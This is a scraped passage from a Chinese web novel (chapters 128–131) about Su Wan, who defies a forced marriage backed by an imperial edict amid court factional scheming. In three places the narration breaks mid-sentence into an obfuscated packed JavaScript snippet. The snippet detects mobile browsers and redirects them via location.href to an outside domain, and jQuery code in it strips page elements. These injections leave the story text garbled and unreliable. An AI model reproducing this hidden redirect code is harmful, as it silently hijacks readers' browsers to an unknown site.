温念笑意一僵。 苏绾却不管他,素手拈起青玉茶盏,指尖叩了叩杯沿,无霜适时地向茶盏斟满茶水。 虽说是宴席,空对着满桌子美味佳肴,在场几人皆没有动筷的心思,斟酒的斟酒,品茗的品茗。 室内氛围略显尴尬。 殷潜轻咳一声,率先破冰:“尚书大人身在京中,下官远在江浙,碍于职守,无缘登门求教。今日得见大人风采,竟是两年间首次相会,属实难得。” 梁才微微抬颌,“朝中事务繁杂,实难分身交际。殷布政使肩挑江南一方重任,此番入京尚能拨冗与老夫一聚,倒是老夫的福分了。” 殷潜乘势拱手一笑:“尚书大人鞠躬尽瘁,忠勤为国,早已是朝野共仰的楷模。我等身居外职,当以大人为范,不敢懈怠。” 两人一通互相吹捧,左右逢源,听得苏绾直翻白眼,最烦这种虚情假意的寒暄客套,半天都说不到重点。 梁才明显很受用。 “过奖了。”梁才轻拈酒盏,微微一笑,“现今朝局微妙,各地纷争四起。自温大人主张的土地改革,在全国逐步推行以来,圣上愈发亲询各部政务,户部更是首当其冲,一日都不得清闲。” 他慢条斯理地啜了口酒,“不过辛劳也罢,若能为国尽忠,为主分忧,再苦再累,做臣子的也不敢怠慢。” 殷潜点头附和:“圣上心忧天下,信重梁大人,乃我朝子民之幸。土地改革一事,关系百姓生计,功在千秋。” 苏绾听得乏味极了。 他们谈的,不是百姓冷暖困苦,而是如何分权夺势,如何在乱局中站稳脚跟。这些人最擅长的,就是把虚伪当作风度,把算计披上礼数的外衣。 梁才也好,殷潜也罢。面对这群笑面虎,苏绾愈发厌倦无意义的周旋。既然厌恶,何必寒暄?既然忌惮,又何必交好? 正当苏绾盘算着,该如何打断这毫无意义的繁冗对话。 哪知殷潜话锋一转,“下官愚见,江浙地窄人稠,百姓赋税已重,若不顾当地实情,直接照搬北地章程,恐有水土不服之虞。” 此事说来话长。 温如初白手起家,靠的是“土地赋税改革”制度。其核心内容是将各州县原本繁杂分散的田赋、徭役及杂项征税统筹合一,合并为一条龙银税,按亩折算,集中征收。 此举一方面大大简化了税制流程,提升了税务效率,方便朝廷掌握税银实收情况;另一方面削弱了地方豪强与贪官舞弊的空间,实实在在地增加了中央财政收入。 改革一出,震动朝野。 皇帝力主推行此法,选定田赋最为繁重的江南三省——江苏、安徽、浙江为首批试点区域,而这三省,恰属于殷潜的辖区。 然而改革触及的,乃是地方士绅与地主阶层的核心利益。隐瞒土地、规避赋税、暗中阻挠者比比皆是,使得改革在半年内进展缓慢,雷声大雨点小,收效寥寥。 殷潜夹在上命与下情之间,进退维谷,备感掣肘。上不能得罪朝廷重臣,下不能惹怒地方豪强,可谓两头为难,苦不堪言。 去年五月,首辅章任梁审时度势,上奏皇帝恳请暂缓全国推行土地改革。此举间接导致温如初的仕途蒙上了阴影,风评亦陷入低谷。 温如初痛定思痛,一改此前的温和作风,手段转趋强硬。他两次请旨监管江南茶税及漕运,意图钳制殷潜,逼其配合改革,可惜中途折戟于黄河渡口。 后来全国各地灾荒不断,驿路失修,盗匪蜂起。天灾人祸并行,百姓苦不堪言,地方税收出现断崖式下跌,朝廷财政一度吃紧。民怨日盛,改革呼声再起。 温如初将舆情添油加醋一番,结合浙江漕运税收异常一案为证据,详细呈报皇帝,称百姓已认同新法,若不乘势推广,恐错失良机。 皇帝闻奏大喜,不仅重新决定土地税制改革在江南实施,更嘉奖温如初为“有识之士”,破格擢升入阁,以示褒扬。 刀锋再度架在了殷潜的脖颈,逼得他不得不四处奔走,频繁与阁部往来,低声下气地陈情诉苦。 这也是他今日应邀赴宴的主要目的——希冀户部尚书梁才出面斡旋,从中调停,劝说温如初将改革重点转向他省,暂且放过江浙一隅。 可他选错了对象。 苏绾暗自为殷潜捏了一把汗。 果不其然,梁才目光微沉,“殷大人此言,可是质疑朝廷之策?” 殷潜拱手作答:“下官不敢妄言是非。唯望圣策因地制宜,方能安民利国。” 梁才低低一笑,轻扣酒盏于桌案,瓷与木相击,发出轻微闷声响动。他抬眸望向温念,缓缓道:“温大人是哪一年入仕的?” 温念略一沉吟,答得恭谨:“永乐十年,初任翰林院,后转户部,时为从五品员外郎。” “已有五年了啊。”梁才轻叹一声,感慨道:“老夫还当是昨日之事。人啊,不服老不行喽。” 他顿了顿,目光意味深长:“当年户部初见,就知你是可堪重任之才。如今看来,老夫当年的眼光,倒也不算太差。” 梁才的立场,不言而喻:他与温念,早已是一条船上的人。 事实上,正是梁才一手推动了土地赋税改革的问世。温如初的仕途之路,因有梁才这位权臣为其指引,方得以平步青云。 殷潜神色微敛,杯中酒尚未全部入口,已有几分难以下咽——虽说梁才这等回应早在预料之中,而他也只是随口抒发几句心中郁结,仍觉几许无力。 苏绾看得心中一震,方意识到自己过去的疏漏。她竟全然忽略了梁才这号人物的分量! 六部之中,吏、户、礼、兵、刑、工,各掌要政。其中吏部尚书由阁老章任梁兼任,权重朝纲。若论实权与影响力,户部尚书紧追其后,尤其是在财政吃紧,民生多艰之际。 而梁才,正是这柄掌控天下钱粮的钥匙。 她须试探一下,看对方的底线如何。 “梁大人,”苏绾缓缓抬眸,眸色如霜,“我在此坐了半日,只听得官话连篇,唇枪舌剑,你来我往,却与我何干?这酒也冷了,这菜也凉了,你们男人之间的朝堂博弈,小女子既听不明白,也无意强插一脚。” “若今日这一席,是为了朝政大计,是为了赋税新法,为解救百姓于水火,苏绾自当识趣,不敢妄言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387962|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半句。若这席间所谈,不过是为引出一纸早该作废的婚约。” 她抬眼看向温念,“我劝你死了这条心吧。” 霎时间,雅间内的气氛像被拂灭的灯火,瞬间暗了下来。 温念略微一怔,显然对苏绾的言辞感到有些意外。他卷了卷桃花眼眸,神情更加专注了些,仿佛要看穿眼前女子的心事一般。 梁才嗤笑一声:“苏姑娘口气倒是不小。婚姻大事,向来讲究父母之命、媒妁之言,何时轮得到儿女自行置喙?反了天了!” 苏绾淡声回道:“那桩婚事,本就是一桩权谋交易,自始至终从未问过我的意愿。世局翻覆,人心易变,莫说是昔年旧诺,就是当朝圣旨,若违背人伦大义,也该三思而行。” 梁才冷笑道:“圣上赐婚,天恩浩荡,自古无有撤销一说。御前亲颁婚书,红纸黑字,钤印为凭,岂容儿戏?你若执意抗命,不止是抗旨,更是辱了皇家颜面!” 苏绾神情微冷:“梁大人说得斩钉截铁,听起来像是圣上亲口所言。可这桩赐婚,既非出于真心,亦无实意。从头到尾,不过是某些人借联姻之名,行结党营私之实。若要论羞辱皇家,真正可耻的,难道不是将女子命运当成政治筹码的手段吗?” “婚姻大事,我苏绾只认一条——愿者为之。圣上所求者,是社稷安稳,是百姓安康。若连微不足道如我的小女子都要被迫屈从强权,那这世间,又何来真正的‘圣明’可言?” 梁才果然是见过大世面的人,对苏绾这般略通文墨的女子并不感到稀奇。古往今来,那些略有学识的女子,总喜欢摆出一副清高孤傲的姿态,动辄引经据典,学着男人谈论风骨与自由,妄图掌握自己的婚姻命运。 在他看来,这样的挣扎,不过是徒增笑料——终究改不了女子附庸的本质,费时又无益。 梁才冷哼一声:“苏姑娘果然伶牙俐齿,连朝廷旧例都敢妄加断论。可惜,你一个女子再如何鲁莽直言,又岂知这桩赐婚之下,牵扯的是何等紧迫局势?” 他话锋一转,眼神落在殷潜身上,“殷大人,你在江浙多年,政绩虽有,根基未稳。若本官于皇后娘娘跟前提一句:你不识抬举,逆意抗旨,你以为,还能安然坐稳布政使的位子?” 话未说尽,意已透明:我不必逼她成亲,只需换个法子,叫你进退维谷,难有立锥之地。 殷潜神色未变:“梁大人金玉良言,下官铭记在心。只是下官前日入京,已蒙阁老召见,一番长谈之后,倒也得了几句教益。” 他说到“阁老”二字时,梁才眼神微滞,显然动了几分思量。 “阁老持重中正,兼管吏部章奏之权,素来最忌私情夹带公断。若梁大人真要为一桩早已无实的旧事,撺掇皇后娘娘开口施压,也并非不可。” “不过依下官愚见,圣上与太后尚在,皇后娘娘不敢擅动朝局。若真闹到了御前,恐怕大人与我皆不讨好。” 章阁老竟偏向了殷潜一方!大大出乎梁才的意料,也打乱了原有的筹谋。 梁才沉吟半晌,端起酒盏抿了一口,抬眸瞥了温念一眼,见其神色自若,左手指尖叩了叩右手袍袖。 梁才有了底气。 他放下酒盏,脸上恢复了常态,“殷大人,方才多言,倒是我唐突了。” 殷潜不卑不亢:“大人客气。” 两人言止于礼,杯中清酒已尽,话锋也至此为止。席间气氛微变,波澜暗藏,不再言破。 苏绾看着这一幕,不禁感慨万千。殷潜这回是扛住了,但朝堂上的博弈远未结束,而她的命运,宛如一叶浮萍,被风浪裹挟其中。 厅中日光映着铜壶慢煮的酒香,苏绾缓缓起身,鬓间桃花簪晃了晃,素衣如雪,袍摆轻拂。 她抬眸环视众人,目光清冽如寒潭,“今日之会,若是为旧故叙谈,苏绾已奉陪到底;若是为那桩无效的婚约而设,我只有一句话——” “我不会认,也不会从。” 言罢,她袍袖一拂,“无霜,春蝉,咱们走。” 该说的都说了,袖里藏剑也搬出来示人了,不必再过多停留,所谓兵不厌诈。 “慢着。” 温念手中酒盏微倾,琥珀色酒液轻晃,未洒出分毫。原本带笑的桃花眼,在光影晃动间泛起一丝阴冷。 他缓缓放下酒盏,指尖在案上敲了两下,声音极轻,压得气氛一沉。 良久,他低笑一声:“绾绾,你这脾气,倒是半分未改,性子还是这样直。” “只可惜,我这人啊,最不喜欢听的,就是‘不从’二字。” 苏绾心头一紧。 129. 反扑 苏绾脚步一顿,绢鞋在打磨光滑的木地板轻轻一擦。她缓缓转过身,素白罗袖微扬,似风中翻卷的雪,眸光清冷如霜,直直落在案前坐着的温念身上。 那人仍旧嘴角含笑,桃花眼眸弯弯,似春风和煦的午后,却摇身一变,化作深渊潜伏的恶蛟。 恶魔,终于露出了獠牙。 一股熟悉的寒意自心底涌起,前世噩梦再现,恶魔正一步步朝她逼近,要将她撕碎啃啮,不留一丝生路。 她在心里给自己打气:不怕,他不敢乱来! 这一世,她再不是任人宰割的羔羊。 “你在说什么疯话?”她强作镇定,道:“这许多双眼睛看着,你还想当众拿我不成?” 话音刚落,立于身后的无霜、春蝉立即上前护住苏绾。尤其春蝉,眼神保持犀利,手指悄然探向腰间盘扣的软鞭,拇指一挑,鞭柄已在手中稳稳扣住。 面对三只炸毛的猫儿,温念的眼角弯出一个笑意,温柔得近乎讽刺。 “绾绾,”他轻唤道:“你还真是,不见棺材不掉泪。” 他摩挲着青玉杯盏,指腹在杯沿旋转,发出细微的摩擦声。他轻轻叹息一声,遗憾又无奈:“你不会真以为,阁老是真心支持你们的吧?” “那只老狐狸啊,不过是在玩一场权衡的游戏。若仅有一方占据绝对主动权,那这局多没意思。棋局好看,是因为两边势均力敌。” 他唇角一挑,“而你不过是他留给贵妃一派最后的筹码,一枚已经用得差不多,随时可以丢弃的棋子罢了。” “他说要保你们,你就真信了?”温念摇头苦笑:“绾绾,你想学男人搞权谋……” 他举起酒盏,煞有介事地隔空朝她一敬,杯中酒光微晃,像一潭暗涌的潮水。 “还是差了点意思。” 此话一出,苏绾心头警铃大作。她隐约预感到,对方怕是就要亮出杀手锏来了。 果不其然,温念伸手拂开案几一角的酒盏残羹,从怀中取出一只细狭锦匣,暗红缎面,泛着沉沉光泽。 指尖轻扣,匣盖“啪”地一声弹开,露出其中卷得整整齐齐的黄绫一道。 温念不疾不徐地抽出黄绫,缓缓展开,一行朱笔熠熠生辉,落款盖着玉玺金印。 苏绾不禁感到胸口微凉,她再冷静,也明白那道黄绫并非寻常文书,分明来自御前。 温念仿佛全然未察觉众人的神色,他将手谕举得更高,像是炫耀战利品一般。 “此乃御前亲授手谕,”他得意洋洋道:“予我一项特权——入阁之后,可提一愿,或赦一人,或定一事。不问由头,不问因果。” 他睇向苏绾,眼神宛如婚前誓言般庄重,“而我之所愿,惟有迎娶苏绾。” 顿了顿,语气更沉一分,“无论其人意愿如何。” 屋内静若死寂。 帘外风声掠过,吹动门洞挂着的一帘春幔。斜阳映在摊开的手谕,金辉灼眼,好似天威笼罩的金箔诅咒。 殷潜脸色倏然一变,身形下意识地前倾,额首已微微渗出细汗。 苏绾愣在原地,半晌说不出话。她万没料到,温念竟早早布好了局,不是凭借情义,也不是礼法,而是凭一道凌驾于一切之上的圣旨——他以入阁为筹,换来如此荒谬绝伦,又令人无法驳回的特权。 “真可笑。”她惶惶开口,声音发颤,“用一纸荒唐的手谕,强娶一位……女子。” 她咬住嘴唇,硬吞下那个“弱”字,她不能折戟沉沙输在这里。 “你也忒瞧得起我。”苏绾咬牙道。 温念静静看着她,目光深沉如墨,情绪晦暗莫测:“圣恩既许,即是正统。何来荒唐一说?你既不肯嫁,我也只好换一种令你无法拒绝的方式——娶你进门,做我温念的妻。” “做我温念的妻。” 这句话,苏绾不是第一次听他讲。昔年他也这样说,温柔款款,情深不悔。彼时她心软胆怯,不敢撕破脸皮,驳他分毫。 物是人非事事休。 她早已脱胎换骨,烈火重生。也认清了那些所谓的山盟海誓,不过是包裹剧毒的糖衣,轻轻一触即碎。 “你做梦去吧!姑奶奶只有一句话。” 话音未落,苏绾已捉裙疾步上前,一把夺过案上那道手谕。指甲深嵌绫面,两手手腕一抖,毫不迟疑地用力一扯。朱批金印应声而断,黄绫撕裂,碎帛如蝶,飘然落地。 “我死也不嫁!” 声音震方天籁。 “你、你疯了!”梁才骤然站起身,惊怒交加,“你可知这是什么?这是圣谕!私毁圣命,乃是诛九族的大罪!” 苏绾的指尖仍在微颤,指缝缠绕着几缕金丝。她知道,自己在拿生命做赌注,已将退路尽毁。可她咬紧牙关,昂然抬起头,星眸闪着耀眼光辉。 “圣命若不能济世安民,护我百姓,只为你这等小人谋私,强加于良家女子头上,那便不是圣命,只是一纸荒唐的笑话!” 她环视满室,一字一顿道:“今日我苏绾在这醉仙楼,宁肯血洒当场,也绝不做你温念的妻。你所要挟的、威胁的、逼迫的,无理取闹,我一个都不认!” 话音如刀,划破厅堂静寂,连窗外风声,都为之一滞。 殷潜观望了半晌,眼底情绪翻涌。他既憎恨自己屈服于强权的无奈,更震撼于苏绾这般看似柔弱女子,在绝境中仍不肯低头的坚决。 他攥了攥拳,道:“温大人,若你真要凭一道圣谕强行婚姻之事,下官只得另循其道,拟折上书礼部,弹劾你借圣权行私欲,扰乱礼制,欺君罔上。” “放肆!”梁才几乎是脱口而出:“殷大人一派胡言!此乃圣上亲授之权,岂容你一介外臣妄议?谁给你的胆子,在这等场合直指天恩为私情!” 他伸手指向殷潜:“你若敢参温念一折,便是质疑圣上圣断!到那时,不止是他,你也别想安然无恙!” 两人开启新一轮的唇枪舌剑,火光四起。 山雨欲来风满楼,温念唇角原本的笑意渐渐褪去,余下一抹冷意。 他低着头,指尖在那堆被撕碎的黄绫残片上轻轻敲击,叫人心头发紧。 “绾绾,”他终于开口,语气平静地令人窒息,“我劝你,莫要逼我。” 他抬手理了理袖口,淡然道:“我一向待你宽厚,事事容让你,只盼你能听我的话。可惜啊,”他轻叹一声,“是我太过纵容你,才让你如此任性妄为,不知天高地厚。” 桃花眼眸望向她,眼底尽是沉沉暗意,像深不见底的湖,泛不起一丝波澜。 “都是我的错。”他煞有介事地反省。 言毕,温念手一挥,“拿下。” 一声令下,两名随从自屏风后现身,迅速扑向苏绾。无霜惊叫一声,两手伸展护主。 “放肆!”殷潜怒声喝道,“温念,你莫非要在这醉仙楼,当众劫人不成?” 他转身厉视梁才:“梁大人,连你也坐视不管?堂堂户部尚书,竟与乱臣贼子同流合污,甘愿为虎作伥?” 梁才不急不恼,摊开双手,摆出一副无可奈何的模样:“我怎会不想劝阻?可温大人列名内阁大学士,官衔在我之上,又有圣上亲封诰命在身,朝中上下,谁敢说他半句不是?” 说到此处,他神色一变,声音忽沉:“你们也该明白,自古圣旨大如天,既然圣上已有定意,拦者抗命,才是真正的大不敬!” 他瞥了一眼被苏绾撕毁的圣谕,“更何况,你纵容外甥女毁谕抗旨,罪同谋逆。本官若当真铁面无私,奏明陛下,诛你满门,也未尝不可。如此方显我朝法度森严,朗朗乾纲。” “你!”殷潜怒极,正要上前,苏绾先一步拂袖,一只玉盏从她手中飞出,“哐啷”一声摔在地上,碎瓷四溅,宛如雷霆乍响。 摔杯为号。 一声短促的啸声仿佛自虚空响起,尚未落地,窗纸“哧”地裂开数道口子,数道人影破窗而入,衣衫素旧如市井布衣,唯刀光冷冽,似雪夜中藏锋之刃。 为首一人肩宽腰阔,络腮胡浓密如墨,一双铜铃眼血光乍现,重刀在手,凛然如虎下山。正是萧染麾下得力死士络腮胡,萧染临走之前,吩咐手下好生保护苏绾与秦欢。 空气凝结成冰。 温念眉头一挑,似乎有些惊诧:“你竟早有准备?” 苏绾冷笑:“你以为你机关算尽,我就没有退路了吗?温念,我不是当年那个任人摆布的庶女了。” 她站直了身子,目光清冽,宛若寒霜破晓:“你要强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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死士反客为主,随从节节败退,有的弃刀逃命,有的死于乱刃。 宾客早就四散逃离,杂役小二们纷纷躲进后厨。酒楼满地狼藉,金樽翻滚于血泊,断案、倒盏、破席、残灯,像极了一场突如其来的梦魇。 春蝉收鞭立于苏绾前,战意凛然,裙角飘摇如鸢尾盛开。 无霜仍搂着苏绾,肩头微颤,却未放手。 苏绾站在这一地杀伐中,衣袖未乱,眉目如刀,目光直指尚未起身的温念,唇角泛起一丝冷意,仿若从血泊中开出的一朵寒梅。 眼看局势逆转,形势已偏向苏绾,可她心里仍揣着一丝不安——温念没那么容易服输。 一定还有更大的阴谋等着她。 忽然间,楼外一阵急促马蹄声传来,紧接着,十数名身披鱼鳞甲的士兵冲入醉仙楼,刀戟如林,杀气凛然。 为首将军身穿金甲,器宇轩昂,一声冷喝压过众人喧哗:“都给我住手!” 苏绾心内一颤。 还道是哪位将军天降正义,原来是旧相识。 那人正是五城兵马司的都指挥使——陆展元。 他扫视满地狼藉,居高临下冷声道:“本将军奉皇命查缉非法聚众、图谋叛乱之嫌,所有人不许擅动!” 殷潜厉声质问,“你可知我是谁?” 陆展元冷冷道:“下官当然知道殷大人身份,只是军令在前,纵是亲王贵胄,也得依律行事。有谁胆敢抗命,杀无赦!” 随着他一声令下,士兵列队上前,将苏绾一方团团围住。死士们虽不惧死,也知正面硬拼只会逼苏绾陷入绝境,一时竟也纷纷收手,护主后退。 苏绾心知,强行抵抗只会适得其反,落得个反叛朝廷之罪,连累所有人跟着她陪葬。 她并不怕死,可是身边还有无霜、春蝉,还有络腮胡,甚至殷潜也罪不至死。 苏绾缓缓吐出一口气,袖下紧握的手终是松开。 “罢了。” 她向殷潜使了个眼色,随即转身,坦然看向温念:“我认了。” 温念嘴角上扬,“乖,这才是我的好绾绾。” 130. 入宫 “苏绾,你不必强求自己,不想嫁就不嫁。”殷潜的话语带着一抹穷途末路的狠劲,“大不了,舅舅舍下这张老脸皮,金銮殿里哭他一场,非要将这笔罗织的烂账掰扯清楚不可。” 他心里堵得慌,这一仗输得忒窝囊。明明一开始还占着上风,结果被一道莫名其妙的圣谕,和一个不成器的败家子,打得根本接不住招式,连喘口气的余地都没有。 败家子将军甫听这话,立马握紧了腰间佩刀,眼珠子一瞪,嗓门也拔高几分:“只怕殷大人还没走出这醉仙楼,眼泪就得流干了,御前想哭也哭不出来!” 殷潜斜睨了那厮一眼,他当然晓得陆展元的底细,他是陆能的嫡长子,温如初的跟班,一个连个屁都不敢自己放的主。 不过他也听说了,兵部尚书的长子,不光脑子不顶用,还不能尽人事。有这等孽子,难怪陆能最近都不愿上朝了。 殷潜不疾不徐道:“年轻人眼界窄点也不打紧,莫让人笑话你坐井观天,不识青天多高,黄地多厚。” 陆展元抱臂冷哼:“殷大人远在江南,手却伸到了京城,未免太长了些。”他手一挥,“有什么话,兵马司大牢里说去吧。” 言毕,陆展元一挥手,即有士兵出列上前,要将殷潜扣住拿下。 “住手。”苏绾莲步而出,罗裙如水,两手一拦,挡住殷潜。 她狠狠瞪了陆展元一眼,那架势仿佛要将他剥皮拆骨,“我不是已经认了么?你们还想怎样?” 陆展元一见苏绾,眼神直勾勾地黏上去,馋得手心发痒,脚底发虚,连忙搓着手,堆出一脸谄媚的笑容:“哎哟,这不是苏小娘子?这些日子不见,你可还好啊?” 苏绾扫了他一眼,眼波冷若寒星,语气夹棒带刺:“你还有脸跟我说话?堂堂兵马司都指挥使,活得跟个奴才似的,被人呼来喝去,黑白不分、是非不辨,丢不丢人呐?” 她步步逼近,神色愈发凌厉:“你带着这许多兵马闯进醉仙楼,是看我苏绾没有父母亲庇佑,可着我孤零零一个人儿欺负?” “竟还敢栽赃我舅舅,说他非法聚众、图谋不轨。他老人家身居从二品布政使,好不容易进一趟京城,难道就为了犯上作乱吗?瞎了你的狗眼!” 这一通话把陆展元训得灰头土脸,当场涨红了脸皮,讪讪低下头,不敢直视她,又忍不住偷偷斜眼瞄她的神色,小声辩解道:“这、这个……我也是奉命行事,身不由己嘛……” 苏绾懒得理睬他,转身按住殷潜的衣袖,声音笃定:“舅舅莫要担心,量他们谁也不敢欺负我。” 她身子站得沉稳,像是孤注一掷的战士,也像风吹不倒的素竹。殷潜垂眼看她一瞬,心口仿佛被什么堵住,恨自己空负官身,到头来也护不得膝下儿女周全。 忽然脚下一声脆响,殷潜垂眸望去,只见半片白瓷碎裂在靴底,细密的瓷碴恰好嵌进那被撕裂的黄绫纹理,绫边被人踩得起褶,朱批金印模糊不清。他盯着那道锦绫仔细看了两眼,顿觉胸口沉若坠铅,压得他快要喘不过气。 对方拿出了圣谕,就算闹到太后跟前,翻盘的希望也是渺茫。他若硬带人走,是抗旨谋逆;可若低头妥协,等于将苏绾亲手推进深渊,万劫不复。 午后光线透过窗棂斜斜落下,照亮了酒楼遍地狼藉,照不进他心头昏暗分毫。 这时苏绾指尖收紧,贴着他的肩膀,低声补了一句:“他们要娶我,也得先过了我父亲这一关。” 父亲? 殷潜眼底闪过一抹精光,她总归不是在提苏君识那个胆小鬼。这是在提醒他,让他找机会与贵妃联手,将她的身世真相昭告天下,从而逼迫她的亲生父亲出面斡旋。 可那个男人,兴许还不如苏君识靠谱。 殷潜抬手拍了两下外甥女的手背,像是承诺,也像是安抚:“我明白了。你自己千万要撑住。” 一旦进了那座宝塔,没有回头路可走,他再也没有办法庇护她了。 很快,众人陆续退场,酒楼恢复平静。温念与梁才借口公务在身,一前一后登上轿辇,先行离去。苏绾与无霜、春蝉三人则被送上另一辆马车。 “我们都被阁老耍了。”殷潜望着马车远去的影子,喃喃自语。 他转头看向一旁负责调度的陆展元——那个仗着爹在兵部,胡作非为,吃喝嫖赌的纨绔子弟。 这等孽障,平日里狐假虎威惯了,绝没胆子掺合这淌浑水,怕是连醉仙楼的门槛都不敢踏入半步。若非背后有人撑腰,哪里轮得到他在这强出头? 十有八九就是陆能。 堂堂兵部尚书,竟肯为温如初的这场好戏站台到这份上,连朝廷规矩和官场脸面都撕得干干净净。 殷潜一时难断陆能到底是早已投诚温如初,还是按照阁老的旨意故意按兵不动。在这场血雨腥风博弈里,一切所谓“袖手旁观”的中间人,手里都握着杀手锏,谁也别妄想置身事外,独善其身。 他望向酒楼狼藉一片,唇角牵起一抹苦笑:“阁老的手段,还是一如既往地老辣啊。” 风从破裂的窗棂灌入,带起一缕尘灰,打着旋儿飞入厅堂,落在那道碎裂的黄绫,掩住了最后一抹朱红。 苏绾又岂会不知,自己早已落入章阁老布下的诡局。那纸圣谕,那场“赐婚”,表面是温念一手策划的强取豪夺,背后隐藏着内阁的筹谋算计。 可她看得比殷潜更深一层:章阁老纵然权倾朝野,说到底也只是听命行事的爪牙。真正布棋落子的,是那位端坐金銮之巅,喜怒不形于色的九五之尊。 这局下得狠,一石三鸟。温如初是棋子,她苏绾是棋子,殷潜与陆能一干人等,皆是棋子。无非就是看谁走得远,谁被弃得快,谁又死得其所。 当然,现在下定论还为时过早,还有太多的谜题没有答案。但这一回,她要亲自入局坐庄,哪怕落得满盘皆输的下场,也须得由她亲手落下每一子。 原本温念允了苏绾先回苏府收拾行李,可她连这个面子都懒得撑了,索性带着无霜与春蝉登上马车,直接前往皇宫下榻处——温念打着“方便阅卷”的幌子,一直宿在户部衙门,甚至在入阁以后都没撤出。 苏绾的举动令温念感到十分诧异——这哪里是被强娶豪夺?倒像是打好了铺盖卷,迫不及待要嫁给他似的。 苏绾要的就是这个。她孤身赴会醉仙楼,甘愿唱这一出“被俘记”,所图的,正是这身顺利入宫的名分。 那榴花宫闱里面,埋藏了她太多过往。一纸荒唐事,一腔旧时泪,她已无路可退,唯有期盼借着这场赐婚陷阱,从废局之中,匍匐爬出一条活路。 废话不多说,转眼间,又到了春花窈窕,群鸟争鸣的季节。阳春三月,紫禁城内万物复苏,宫墙内垂柳新绿,宫道两侧桃花杏花盛放,一簇簇开得热烈,落英缤纷如雪。琉璃瓦映着天光,风过花影摇曳,整座宫城都被春色浸透,连最阴沉的角落也添了几分绿意。 户部衙门坐落在皇城东南一隅,地势略低,占地面积不算广大,三进三出的院落层层递进,布置严谨规整。 最外一进为正衙,是官员日常办公之所。左为司员办事房,右设候差处。中院则是议事与接待场所,设有会客厅、小堂、茶斋。另有角门通向后宅。最里一进是私宅所在,本由尚书与高位官员暂居,如今被户部侍郎占据。东厢为书房,藏书万卷,常年留灯以便夜读;西厢是卧房,设榻设屏,临窗种梅,颇有文雅气息。 整座宅邸低调不奢华,规制严谨,风骨内敛,是权柄与规矩并存之地。 连续几日,温念始终日夜栖身书房,从未踏足苏绾下榻的卧房半步。苏绾所居的这处偏殿倒也清净,吃穿用度皆有宫人妥善打点,连无霜与春蝉也跟着过上了饭来张口、衣来伸手的悠闲日子。 但若说安逸,却远未达到那个程度。温念指派了锦衣卫驻守殿外,苏绾三人平日寸步难出,说是照拂周全,倒不如说是被软禁在身。 这日晌午,阳光暖融融地斜洒进屋,照得屋中一片静谧温和。无霜坐在床前细细叠着衣裳,嘴巴没闲着:“姓温的费尽周折将小姐抢进门,怎得连个人影都不露?难不成,就是为了充个门面?” 苏绾坐在窗前,素指穿针引线,绣着嫁衣的袖口。那是一匹上好的苏绸,质地细腻柔滑,金丝闪着温润光泽。她有一搭没一搭回道:“没错,他抢我来,就是为了充个门面。” 春风拂动帘幔,嫁衣金线微颤,波光流转。苏绾低头细看,觉得刚才那一针稍有偏斜,又慢慢拆了重来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温念自作主张将婚期定在三月初十——偏偏就是去年纳征的日子,挑得极为讲究,仿佛是要昭告天下,这段婚事板上钉钉,兜兜转转,她还是他的人不可。 其实嫁不嫁的,苏绾早就麻木了。活了两世,她已不在乎那一纸婚书另一边写着谁的名字。就算写一只鸡、一条狗,她也照嫁不误,嫁鸡随鸡,嫁狗随狗。 反正,她接下来真正要做的事,和她嫁给谁,没有一文钱关系。 这时,春蝉悄悄递上一个纸卷,“今早传来的,我压了一上午,等宫人们都散了,才敢收我的雀儿。” 苏绾点点头,展开纸卷阅读: 「伯娘大人亲启: 行简叩首,见信如晤。别来日久,惟愿伯娘康健安和,诸事无虞。 行简与沈姑娘已抵达太原府,路途虽远,风雨交加,所幸天佑人和,未遭大难。沿途多有不便,夜宿山寺,昼行官道,虽倦且安,敬请宽心。 途中屡有尾随之迹,疑为沈恪所遣,所幸未曾正面相遇。沈姑娘心意已决,不愿再见父亲,恐遭阻拦。 天真烂漫一女子,对我多有托付,或因信我可守其志。我不敢怠慢,以性命为誓,护她周全。 前路漫漫,终要前往蜀中老家,山高水远,尚未知几时可得安定。既已踏上征途,绝不复回头。 行简一介寒门书生,虽知前路荆棘,但志不悔。惟愿伯娘安心,待尘埃落定,再回膝下承欢。 纸短情长,不能尽述,唯以尺素略表平安之意。望伯娘珍重身体,勿念。 顾行简顿首 永乐十六年三月初一,太原府驿馆草书」 苏绾读着读着,眉头渐渐舒展。顾行简那个家伙,装起“入京赶考,结果盘缠用尽,投奔亲戚却无人问津”的穷酸书生,简直手拿把掐,有模有样。 她这个“伯娘”,看着“侄子”不仅安然无恙,还顺路拐了位千金大小姐回去,心里不免生出几分欣慰——这出戏码正按照她的指挥,有条不紊进行中。 大侄子,你可得给伯娘长点脸! 无霜拿出火折子,轻轻一划,火星跳跃而出,点燃了烛台。暖黄的烛光晃动,映着三重静默的身影。 苏绾拈起信卷,缓缓送入火焰。纸卷边缘迅速卷曲,火舌舔过每寸字迹,所有的秘密在一瞬间化为了飞灰。 最后一缕灰烬燃尽时,门外传来一阵喧哗,脚步杂乱,夹杂着尖细而熟悉的嗓音: “苏绾,你给我滚出来,我倒要看看,你这位‘阁部夫人’当得有多风光!” 无霜一愣,忙去掀帘看了一眼,惊道:“糟了,大、大小姐来了。” 苏绾眸光一沉,迅速将烛火掐灭,缓声道:“看来,今日耳朵不得清净了。” 131. 空城 